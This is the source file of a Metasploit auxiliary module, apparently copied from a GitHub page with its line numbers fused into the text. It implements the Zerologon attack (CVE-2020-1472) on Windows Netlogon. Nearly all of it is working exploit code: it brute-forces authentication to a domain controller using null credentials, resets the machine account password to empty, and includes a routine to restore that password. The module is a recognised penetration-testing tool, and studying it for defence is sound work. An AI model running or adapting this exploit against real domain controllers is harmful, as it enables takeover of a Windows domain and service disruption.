Path: blob/master/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb
33817 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'67class MetasploitModule < Msf::Auxiliary89include Msf::Exploit::Remote::DCERPC10include Msf::Exploit::Remote::SMB::Client11include Msf::Auxiliary::Report1213CheckCode = Exploit::CheckCode14Netlogon = RubySMB::Dcerpc::Netlogon15EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '')1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Netlogon Weak Cryptographic Authentication',22'Description' => %q{23A vulnerability exists within the Netlogon authentication process where the security properties granted by AES24are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker25can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts26using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability27to reset the machine account password to an empty string, which will then allow the attacker to authenticate as28the machine account. After exploitation, it's important to restore this password to it's original value. Failure29to do so can result in service instability.30},31'Author' => [32'Tom Tervoort', # original vulnerability details33'Spencer McIntyre', # metasploit module34'Dirk-jan Mollema' # password restoration technique35],36'Notes' => {37'AKA' => ['Zerologon'],38'Stability' => [CRASH_SAFE],39'Reliability' => [],40'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]41},42'License' => MSF_LICENSE,43'Actions' => [44[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],45[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]46],47'DefaultAction' => 'REMOVE',48'References' => [49[ 'CVE', '2020-1472' ],50[ 'URL', 'https://www.secura.com/blog/zero-logon' ],51[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],52[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ],53[ 'ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION ],54[ 'ATT&CK', Mitre::Attack::Technique::T1078_VALID_ACCOUNTS ]55]56)57)5859register_options(60[61OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),62OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),63OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),64]65)66end6768def peer69"#{rhost}:#{@dport || datastore['RPORT']}"70end7172def bind_to_netlogon_service73@dport = datastore['RPORT']74if @dport.nil? || @dport == 075@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')76fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport77end7879# Bind to the service80handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])81print_status("Binding to #{handle} ...")82dcerpc_bind(handle)83print_status("Bound to #{handle} ...")84end8586def check87bind_to_netlogon_service8889status = nil902000.times do91netr_server_req_challenge92response = netr_server_authenticate39394break if (status = response.error_status) == 09596windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first97# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong98next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED99100fail_with(Failure::UnexpectedReply, windows_error)101end102103return CheckCode::Detected unless status == 0104105CheckCode::Vulnerable106end107108def run109case action.name110when 'REMOVE'111action_remove_password112when 'RESTORE'113action_restore_password114end115end116117def action_remove_password118fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable119120print_good('Successfully authenticated')121122report_vuln(123host: rhost,124port: @dport,125name: name,126sname: 'dcerpc',127proto: 'tcp',128refs: references,129info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"130)131132response = netr_server_password_set2133status = response.error_status.to_i134fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0135136print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")137end138139def action_restore_password140fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?141fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']142password = [datastore['PASSWORD']].pack('H*')143144bind_to_netlogon_service145client_challenge = OpenSSL::Random.random_bytes(8)146147response = netr_server_req_challenge(client_challenge: client_challenge)148session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)149ppp = Netlogon.encrypt_credential(session_key, client_challenge)150151response = netr_server_authenticate3(client_credential: ppp)152fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0153154new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')155response = netr_server_password_set2(156authenticator: Netlogon::NetlogonAuthenticator.new(157credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),158timestamp: 10159),160clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)161)162status = response.error_status.to_i163fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0164165print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")166end167168def netr_server_authenticate3(client_credential: "\x00" * 8)169nrpc_call('NetrServerAuthenticate3',170primary_name: "\\\\#{datastore['NBNAME']}",171account_name: "#{datastore['NBNAME']}$",172secure_channel_type: :ServerSecureChannel,173computer_name: datastore['NBNAME'],174client_credential: client_credential,175flags: 0x212fffff)176end177178def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)179authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)180nrpc_call('NetrServerPasswordSet2',181primary_name: "\\\\#{datastore['NBNAME']}",182account_name: "#{datastore['NBNAME']}$",183secure_channel_type: :ServerSecureChannel,184computer_name: datastore['NBNAME'],185authenticator: authenticator,186clear_new_password: clear_new_password)187end188189def netr_server_req_challenge(client_challenge: "\x00" * 8)190nrpc_call('NetrServerReqChallenge',191primary_name: "\\\\#{datastore['NBNAME']}",192computer_name: datastore['NBNAME'],193client_challenge: client_challenge)194end195196def nrpc_call(name, **kwargs)197request = Netlogon.const_get("#{name}Request").new(**kwargs)198199begin200raw_response = dcerpc.call(request.opnum, request.to_binary_s)201rescue Rex::Proto::DCERPC::Exceptions::Fault202fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")203end204205Netlogon.const_get("#{name}Response").read(raw_response)206end207end208209210